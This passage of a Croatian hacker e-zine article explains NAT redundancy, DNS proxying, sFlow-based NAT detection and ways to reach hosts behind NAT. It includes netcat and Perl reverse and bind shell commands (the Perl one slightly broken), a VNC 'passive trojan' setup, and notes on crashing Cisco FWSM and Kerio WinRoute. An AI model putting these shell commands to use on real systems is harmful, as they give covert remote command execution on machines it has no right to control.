backup router o aktivnostima kako one bivaju obavljane. Backup router tada naravno preko tih informacija moze lako pripremiti duplikat tablice translacija te po potrebi preuzeti ulogu primarnog routera. Promet se moze nastaviti forwardati jer se koriste iste mrezne adresne translacije a njihovo je stanje takodjer vec prije definirano. Ovakav nacin se moze takodjer koristiti uz HSRP protokol. Evo jedan primjer: ------------------[C_cli ]------------------ Router> enable Router(config)# interface serial 1/0 Router(config-if)# standby SNATHSRP ip 10.0.0.1 secondary Router(config-if)# exit Router(config)# ip snat stateful id 1 redundancy snathsrp mapping-id 10 Router(config)# ip nat pool snatpool1 10.0.0.1 10.0.0.9 prefix-length 24 Router(config)# ip nat inside source route-map rm-101 pool snatpool1 mapping-id 10 overload ------------------[/C_cli ]------------------ konfiguriranje snat primarnog i backup-a moguce je na slijedeci nacin: ------------------[ C_cli ]------------------ Router> enable Router# configure terminal Router(config)# ip nat stateful id 1 primary 1.1.1.1 peer 2.2.2.2 mapping-id 10 Router(config)# ip nat pool SNATPOOL1 10.0.0.1 10.0.0.15 prefix-length 24 Router(config)# ip nat inside source route-map rm-101 pool snatpool1 mapping-id 10 overload ------------------[/C_cli ]------------------ provjera lista konfiguracije: ------------------[ C_cli ]------------------ ! ip nat Stateful id 1 redundancy SNATHSRP mapping-id 10 ip nat pool SNATPOOL1 10.0.0.1 10.0.0.9 prefix-length 24 ip nat inside source route-map rm-101 pool SNATPOOL1 mapping-id 10 overload ip classless ip route 11.1.1.0 255.255.255.0 Null0 no ip http server ip pim bidir-enable -------------------------------- ! ip nat Stateful id 1 primary ipaddr peer ipaddr mapping-id 10 ! ip nat Stateful id 2 backup ipaddr peer ipaddr mapping-id 10 ------------------[/C_cli ]------------------ --==<[ 0x03c DNS proxy ability \__________________________/ Velik broj NAT okruzenja ima mogucnost dns forwardinga odnosno ponasanja kao dns proxy. Ukoliko vam je potrebna takvo rjesenje pogledajte opsirnije name-resolution mogucnosti vaseg nacina implementacije. Ukljucivanje je zaista trivijalno te se svodi na enable samog proxya. Kad je ukljucena opcija DNS proxy dopusta NAT-ovanoj mrezi odnosno routeru da se ponasa poput DNS servera za klijente interne mreze. Kada dodje DNS resolution request na tako podesen router on ce forwardati taj request na pravi DNS server koji je na njemu samom konfiguriran i primiti te isto tako proslijediti reply. ______ < 161.53.11.9 ______ DNS DNS |____| |____| 192.168.100.6 192.168.100.7 |____| IP:1.2.3.4 |____| ___ ___ |____| |____| |PC1| |PC2| | |------------/ | | _|___|_ _|___|_ |||||| /-------------|||||| |_______| |_______| |||||| |||||| | | |||||| ||||||____<________|___________| |____| |____| ____|_____ ______|_____________ |DNS SERVER| |NAT DNS PROXY SERVER| |----------| |--------------------| Nakon sto klijenti salju dns zahtjeve na svoj dns server u ovom slucaju 1.2.3.4 oni ce biti preusmjereni na pravi dns externi server koji ce te zahtjeve i obraditi. npr. translatiranje addr polja kod translacije DNS: muljaza debug outputa: ------------------[ dump ]------------------ NAT: s=192.168.100.6->1.2.3.5, d=161.53.11.9 [0] IP: s=1.2.3.5 (Serial0), d=161.53.11.9 (Serial1), g=1.2.3.187, len 66, forward UDP src=6988, dst=53 reply: NAT: s=161.53.11.9, d=1.2.3.5->192.168.100.6 [65371] IP: s=161.53.11.9 (Serial1), d=192.168.11.9 (Serial0), g=192.168.100.6, len 315 forward UDP src=53, dst=6988 ------------------[/dump ]------------------ ------------------[ C_cli ]------------------ Router-A# show ip nat translations Pro Inside global Inside local Outside local Outside global --- 1.2.3.5 192.168.100.6 --- --- --- --- --- TRANS_DEST_ADDR 192.168.100.6 --- 1.2.3.5 192.168.100.6 TRANS_DEST_ADDR 192.168.100.6 ------------------[/C_cli ]------------------ ovdje sam samo dao primjer dump-a tablice na routeru kad je uspostavljena komunikacija sa strojem kojeg je resolvao DNS server nakon query-a kojeg mu je proslijedio nas gateway. u ovom slucaju T_D_A jest resolvana adresa. /////////////////////////////////////////////////////////////////////////// -----> 0x04 Various Bypass Workarounds \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ --==<[ 0x04a Effective detection (sFlow) \__________________________________/ SFLOW? pretpostavljam da ste barem culi za RMON ili Netflow tehnologije.. sflow je moderan mrezni exportni protokol za mrezni monitoring komunikacije izmedju swicheva i routera. Sastoji se od mehanizma koji uljucuje sflow agenta za primanje pracenog prometa, MIB od samog sflow-a za kontrolu agenta te od formata podataka koristenih od strane sflow agenta kod forwardanja paketa. znamo da netflow koji cisco trosi radi istu stvar no sam sflow koji josh nije sasvim rasprostranjen uglavnom se implementira na gigabitne linkovne strukture. takodjer je moguce kontroliranje desetak tisuca agenata sa jednog jedinog noda. sflow agent nalazi se implementiran na switchu ili routeru a drugi dio, glavni podatkovni kolektor sluzi za naliziranje samo traffica. Znaci agent jednostavno preko sampling tehnike skuplja podatke sa device-a i salje statistiku na neki sflow analyzer. sflow agent koristi dvije forme: statistical packet-based ili switched flows te tim-based nacin prikupljanja statisktike interfejsa. sflow agent jest u biti softverski proces koji se vrti kao dio mreznog upravljackog software. Ko kombinira interfejs brojac i sakupljac protoka u slow datagrame koji se zatim salju mrezom do sflow kolektora analizatora. Inace sflow i nflow i slicne tehnologije su iznimno siroka podrucja te nema smisla da sada odem ovdje presiroko o njima.. procitajte njihove rfc-ove i ostalu dokumentariju na koju naidjete jer je to iznimno zanimljivo podrucje, barem meni no ajmo mi na dio o tome kako na ovaj nacin detektirati NAT uredjaj na mrezi.. btw. formatiranje samih datagrama je provedeno prek XDR-a koji su oni ocito nasli produktivnijim od ASN.1... jednostavno je kolektoru lakse enkodati takve payload-e. Konfiguracija prati ona podesenja u MIBu te salje na tamo definirane portove odredjene udp pakete. detektiranje natovanih okruzenja svodi se na analiziranje samog sflow traffic mjerenja. 172.10.77.5 ___ ___ ___ ___ ______GW_LINK_> |PC1| |PC2| / \ / \ / _|___|_ _|___|_ | S |---<------>----| R |-----/ |_______| |_______| \___/ \___/ | | _ | \ |______________|___|_|__| \__________________________________ |_| | Sflow analyzer|| / __ |_______________|| NAT_gw<________/ / \________________/ 172.10.10.90 | S | ___________________\___/______________________________GW_LINK_> ___ / |PC3|/ 172.10.88.6 _|___|_ |_______| Detektiranje NAT-a bazira se na kontroliranju standardnog ttl polja. Nadam se da ste do sada i samo razumijeli o cemu se ovdje radi tocno :) Znaci sam NAT ce dekrementirati TTL polje za jedan od onog defaultnog koje je ubacio operativini sustav. Naravno mi bismo mogli kao sto kuzite vidjeti kad bismo pingali host dali je on unutar natovanog okruzenja no ne mozemo ga pingat ako je NAPT odnosno PAT podeshen jer on nema vanjsku, public IP adresu. Ovo cemo ovdje obaviti zato preko sflow-a u ovom slucaju.. evo primjer awk skripte koja ce nam dati informacije o odredjenim natovanim mreznim hostovima. ------------------[ awk ]------------------ #!/bin/awk -f # # findnat.awk # # Script to identify likely NAT devices using sFlow. # Copyright (c) InMon Corp. 2003 ALL RIGHTS RESERVED # # Initialize constants # BEGIN { # Specify edge switches and subnets agents["172.10.77.5"] = "172.10.77.0/24"; agents["172.10.88.6"] = "172.10.88.0/24"; # Convert mask bits to mask address masks[0] = "0.0.0.0"; masks[1] = "128.0.0.0"; masks[2] = "192.0.0.0"; masks[3] = "224.0.0.0"; masks[4] = "240.0.0.0"; masks[5] = "248.0.0.0"; masks[6] = "252.0.0.0"; masks[7] = "254.0.0.0"; masks[8] = "255.0.0.0"; masks[9] = "255.128.0.0"; masks[10] = "255.192.0.0"; masks[11] = "255.224.0.0"; masks[12] = "255.240.0.0"; masks[13] = "255.248.0.0"; masks[14] = "255.252.0.0"; masks[15] = "255.254.0.0"; masks[16] = "255.255.0.0"; masks[17] = "255.255.128.0"; masks[18] = "255.255.192.0"; masks[19] = "255.255.224.0"; masks[20] = "255.255.240.0"; masks[21] = "255.255.248.0"; masks[22] = "255.255.252.0"; masks[23] = "255.255.254.0"; masks[24] = "255.255.255.0"; masks[25] = "255.255.255.128"; masks[26] = "255.255.255.192"; masks[27] = "255.255.255.224"; masks[28] = "255.255.255.240"; masks[29] = "255.255.255.248"; masks[30] = "255.255.255.252"; masks[31] = "255.255.255.254"; masks[32] = "255.255.255.255"; # Octet multipliers for converting IP addresses to integers b1 = 256; b2 = 256 * b1; b3 = 256 * b2; } # # The following actions apply to each sFlow record # # The agent (switch) reporting this flow sample /agent/ {agent = $2;} # The source MAC address decoded from the flow sample /srcMAC/ {mac = $2;} # The source IP address decoded from the flow sample /srcIP/ {src = $2;} # The IP TTL decoded from the flow sample /IPTTL/ {ttl = $2;} # The TCP source port decoded from the flow sample /TCPSrcPort/{ port = $2; # The TCP port number is the last field we need, so perform the analysis # Is this an edge switch? localSubnet = agents[agent]; if(localSubnet) { # Is this a packet from a host on the subnet local to the agent? split(localSubnet, parts, "/"); subnet = parts[1]; bits = parts[2]; mask = masks[bits]; split(mask,parts,"."); submask = parts[1] * b3 + parts[2] * b2 + parts[3] * b1 + parts[4]; split(subnet,parts,"."); subagt = and(parts[1] * b3 + parts[2] * b2 + parts[3] * b1 + parts[4], submask); split(src,parts,"."); subaddr = and(parts[1] * b3 + parts[2] * b2 + parts[3] * b1 + parts[4], submask); if(subaddr == subagt) { # Is the TTL characteristic of an end host? if((ttl != 255) && (ttl != 1) && (ttl % 2)) { # A likely NAT device, have we reported on it before? if(!host[src]) { entry = src " " ttl " " port " " mac; print entry; host[src] = entry; } } } } } ------------------[/awk ]------------------ output bi trebao biti sljedeci za gore primjerno okruzenje: ------------------[ shell ]------------------ sflowtool | ./findnat.awk 172.10.10.70 127 62216 002078142a2f ------------------[/shell ]------------------ parametri po kojima mozemo identificirati da se radi o nat-ovanom okruzenju mozemo znati po tome sto je dakle ttl 127 o cemu sam vec govorio ali i po tome sto kao i sto sami vidite koristi veoma visoke portove sto je uglavnom specificno za NAT mrezna, translatirana okruzenja. isto tako od strane at&t labsa je prezentirana metoda kako je moguce prilicno tocno utvrditi koliko se hostova nalazi iza nat-a preko ip id vrijednosti u odredjenim serijama paketa. svaki host generira ratucu sekvencu id vrijednosti. ------------------[ shell ]------------------ sflowtool -t | tcpdump -v -N -r - src host *.*.*.* ]tcp sum ok] ack 4292552168 win 64240 (DF) (ttl 127, id 40255, len 40) [tcp sum ok] ack 1 win 64240 (DF) (ttl 127, id 40756, len 40) [tcp sum ok] 1820371619:1820371619(0) win 16384 (DF) (ttl 127, id 57601, len 48) [tcp sum ok] ack 4293696808 win 64240 (DF) (ttl 127, id 41427, len 40) [tcp sum ok] ack 4293946004 win 64240 (DF) (ttl 127, id 41671, len 40) [tcp sum ok] ack 1633741 win 64240 (DF) (ttl 127, id 42293, len 40) [tcp sum ok] ack 4294795172 win 64240 (DF) (ttl 127, id 42632, len 40) [bad tcp cksum 1748!] 2115643160:2115643180(20) ack 972685314 win 46144 urg 3585 (DF) (ttl 125, id 42893, len 40) [bad tcp cksum 6be7!] ack 1 win 19652 (DF) (ttl 127, id 1673, len 40) [tcp sum ok] ack 940080 win 64240 (DF) (ttl 127, id 43799, len 40) [bad tcp cksum 579d!] ack 1019539 win 17520 (DF) (ttl 125, id 43846, len 40) [bad tcp cksum 8380!] 2120652494:2120652506(12) win 11414 urg 5633 (DF) (ttl 125, id 43859, len 40) [tcp sum ok] 3206002624:3206002624(0) win 0 (DF) (ttl 127, id 1731, len 40) ------------------[/shell ]------------------ analiziranjem ovog tcpdump dumpa moze se primjetiti kako se vidi da je iza odredjenog stroja josh 3 hosta. to mozete vidjeti jer ima tri potpuno razlicito generirane id vrijednosti.. onu od oko 40-ak tisuca, onu nisku od oko 1500 (1673,1731) te visoku od oko 60 tisuca (57601).. prema ovome mozemo vidjeti da su tri razlicita hosta iza ovog natovanog okruzenja. --==<[ 0x04b Reversing connection (VNC, NC & Perl shell) \____________________________________________________/ znaci recimo da imate negdje fizicki pristup nekom stroju koji se nalazi iza NAT-a te mu ne mozete pristupiti recimo od doma ili neke druge externe lokacije.. znaci naravno.. najjednostavnije je jednostavno napraviti reverse konekciju odredjenim protokolom i rjesena stvar.. stoga cu ovdje predstaviti nekoliko metoda reversanja koristeci netcat, perl i vnc. krenimo sa netcat-om.. nezamijenjivim alatom na linux operativnim sustavima. netcatom moazemo iznimno lako slanje tcp/ip requestova i primanje odgovora. naravno to je moguce jer netcat ima mogucnost slusanja na odredjenim portovima. znaci na nasem hostu s kojeg se zelimo spojiti unutar translatiranog okruzenja moramo otvoriti socket jer ce se interni host u biti spojiti na nas: ------------------[ shell ]------------------ netcat -v -l -p 1234 ------------------[/shell ]------------------ sa remote hosta kojem zelimo davati komande postavit cemo slijedece parametre: ------------------[ shell ]------------------ netcat -e /bin/sh nash_host 1234 ------------------[/shell ]------------------ znaci ovo je minimalac reversanja.. :) nemamo ni prompt (kome treba), dakle imamo ono sto nam je potrebno, a to je mogucnost izvrsavanja komandi na stroju! isto tako mozemo pokrenuti netcat tako da slusha na konekcije i po potrebi nam executa /bin/sh. to bi izgledalo ovako: ------------------[ shell ]------------------ netcat -v -l -p 1234 -e /bin/sh ------------------[/shell ]------------------ znaci ovo cemo pokrenuti na remote hostu kojem zelimo pristupati te kada zelimo uspostaviti konekciju cemo se samo spojiti na port 1234 preko nasheg netcat-a. ovo je npr. kada se mi nalazimo unutar takvog okruzenja.. takodjer mozemo napraviti maleni reverse shell u perl-u i to na ovaj nacin: ------------------[ code ]------------------ #!/usr/bin/perl use Socket; $addr=sockaddr_in('1234',inet_aton('EXT_ADDR')); socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')); connect(S,$addr);select S;$|=1; while(defined($l=)){print qx($l);} close(S); ------------------[/code ]------------------ sasvim jasan source pretpostavljam koji nece pokrenuti interaktivni shell nego ce izvrsavati svaku komandu zadanu sa nashe strane. Naravno umjesto EXT_ADDR unesite adresu vasheg externog hosta s kojeg zelite kontrolirati internu mashinu. I dakako prije uspostavljanja konekcije morate otvoriti port na svom stroju preko netcat-a npr. netcat -v -l -p 1234... :) josh jedno rjesenje pristupanja mashinama unutar natovanih mreznih okruzenja jest postavljanje jedne vrste pasivnog trojana.. recimo pcanywhere ili neki shit, a isto tako moguce je ostvariti i VNC konekciju preko NAT-a .. recimo neki primjer.. na internom hostu pokrenite vnc server a na vashem hostu prebacite vnc u listen mode..na ovaj nacin komunikacija se uspostavlja iznutra na vanjski host. Na internom serveru moramo podesiti password za incoming konekcije i dodajte novog klijenta.. naravno dodat cete svoju externu adresu! ovako podeseno okruzenje bi trebalo radit bez problema.. isto tako mozete napraviti da ide neki batch skript no problem kod svega ovog je dakako sto cijelokupna komunikacija odrzavana izmedju hostova je potpuno otvorena odnosno preporucam da koristite ssh tuneliranje kako bi ovakva vnc veza bila sigurna! primjer: ------------------[ shell ]------------------ ssh -l username -C -v -L 5902:remote_host:1234 host ------------------[/shell ]------------------ port 5092 je naravno port VNC servera. slijedi samo konektiranje preko 1234 porta koji je tuneliran prek ssh. --==<[ 0x04c Inbound SSH method \__________________________/ Secure shell je naravno isto tako nemoguce koristi regularnom metodom ako se destination host nalazi iza NAPT-a. Njegovo koristenje na ovaj nacin je izuzetno jednostavno kao i preko ostalih prije spomenutih alata. Znaci ono sto trebamo napraviti jest to da se napravi tunel reverse upotrebe.. sve ce vam biti jasno nakon sto pogledate man ssh i vidite njegove mogucnosti.. ono sto cete prvo uciti ukoliko trazite nacin da ostvarite ovo o cemu ovdje govorim jest -R argument. znaci najbolje je da se iznutra spojimo na nas externi stroj na sshd daemon kako bi prosli i autorizacijski postupak i sve kako spada.. primjer ssh konektiranja: ------------------[ shell ]------------------ ssh -f -R $PORT:localhost:22 $login@ext_addr ------------------[/shell ]------------------ o cemu se ovdje zapravo radi.. ovo cemo pokrenuti na internom stroju koji se nalazi unutar nat-a. -f parametar jest fork sto ce nam baciti ssh u bground tj daemon nakon autentikacije. Znaci ovime se logiramo na nash ext stroj i forwardamo tcp traffic na neki port kroz tunel na ssh daemon! Naravno ovdje nije obvezno da se ide na ssh no posto sam odlucio ovdje pokazati ovaj primjer ali isto tako mozete vi bez problema koristit i telnet itd. takodjer na kraj stavite neku komandu da ssh vrti te mozete dodati do sleep * kako vama pashe! slijedi vam postavljanje recimo: ------------------[ shell ]------------------ ssh -p $PORT -l $login2 localhost ------------------[/shell ]------------------ znaci vidljivo je da se -p parametrom force-amo na nash port i -l da prepozna vash remote username. Na ovaj nacin mozete se logirati na shell i raditi interaktivno. Mozete takodjer dodavati neke dodatne djelove kao sto su novi autorizacijski kljucevi ili neki dodatni id parametri itd. naravno isto tako nemojte zaboraviti da na ovaj nacin mozete i kopirati fajlove izmedju ovih dvaju strojeva i to koristeci scp: ------------------[ shell ]------------------ scp -P $PORT $login2@localhost:$/tmp***/ $dest ------------------[/shell ]------------------ znaci ovakav nacin moguce je izvesti u oba dva smjera komunikacije!! mozete se igrati na razne nacine .. uglavnom ovo je jedan od dobrih nacina da koristimo i razmjenjujemo resurse sa nekim internim nat-ovanim hostovima! --==<[ 0x04d Sketches (bullets) for the end \______________________________________/ Ovu sam sekciju zamislio kao jedan preview sa vishe sigurnosnih aspekata ukljucujuci propuste u samim implementacijama, modulima, servisima itd. neznam otkud da pocnem. :) Mogu spomenuti nekoliko sigurnostnih bugova u fwsm modulima na cisco opremi.. naime radi se o httpAuth te snmpV3 vulnovima prvi bug se javlja zbog buffer overflowa prilikom autorizacije koristenjem TACACS+ ili RADIUS-a. ovaj b0f dovodi do rusenja i reloada. Znaci govorim o autorizaciji preko ftp-a, telneta, www-a koja se vrsi preko radiusa ili tacacsa Isto tako druga ranjivost dolazi do izrazaja ako se cisco fwsm posalje obican SNMPv3 message te se prilikom njegove obrade rusi odnosno reloada i to kada je na njemu podeseno " snmp-server host or snmp-server host poll". Zanimljivo je da se ovo desava i ako taj uredjaj ne podrzava snmpv3. Fwsm konfiguracija da samo generaira i salje trapo-ove koristeci "snmp-server host trap" nije ranjiva! Vec sam napomenuo da je iskoristavanje moguce putem postavljanja pasivnog server/client auditing programa tako da se interni host u biti spaja na vas onako kako sam gore pojasnio.. isto tako ako vas vishe zainteresira ova tematika mozete se pozabaviti i source-routing propustima koji se desavaju NAT strojevima koji vam mogu omoguciti neke stvari .. isto tako static table timeouti koji mogu nastupati na firewallovima mogu onesposobiti nat i omoguciti vam dropanje i sl. bitno je da znate princip i radite vodjeni vlastitim logicnim razmisljanjem i sve postaje perfektno jasno i jednostavno. Ovakva translacijska okruzenja kao sto sam u vishe navrata spomenuo mogu biti iznimno raznoliko implementirana.. na raznim operativnim sustavima, s razlicitim softwareskim paketima itd. recimo primjer kad sam bio svjedok rusenja NA(P)T-a implementiranog na Kerio WinRoute software paketu koji ne valja nish. Uredno je preko dameware-a oderano previshe konekcijskih resursa koje winroute nije u mogucnosti podnijeti ako nije konfiguriran kako treba.. vecina implementacija ima svoje prednosti i mane pa je na vama da odlucite koja vam najbolje odgovara Napominjem da mi je zao sto nemam puno vishe vremena da pojasnim dodatno neke zanimljive stvari no ovo je samo generalno ono sto bi vas trebalo potaknuti da se dignete na vishu razinu i pocnete mastovitije razmisljati o problemima. /////////////////////////////////////////////////////////////////////////// -----> 0x05 Fade Out \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ This is the end... to bi bilo to od mene za ovaj broj.. valjda je netko nashao nekakvu korist od ovoga i saznao nesto novo. Tekst je relativno kratak i nadam se prilicno jasan a vi sve svoje komentare, uochene greske i sugestije molim da mi posaljete na navedeni mail: haarp@phearless.org. Napominjem josh jednom da ovaj txt sadrzi mnogo stvari koje sam samostalno pretpostavio i podesio tako da je vrlo lako moguce da postoji josh mnogo jednostavnijih i boljih rjesenja za implementaciju odredjenih stvari. Svima saljem veliki pozdrav i do citanja u nekom od slijedecih brojeva.. greetz to: škrobo, SiKe, Shatterhand, nimr0d, Exoduks, h4z4rd, bl00dz3r0, n00ne, modche, argv, Wintermuth, `and, BoyScout, set_X, m4rko, irc.ptp.org #social, Impaler, nekim ljudima s RiWi-ja, a posebno BIG kiss najdrazhoj Jeleni!! \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\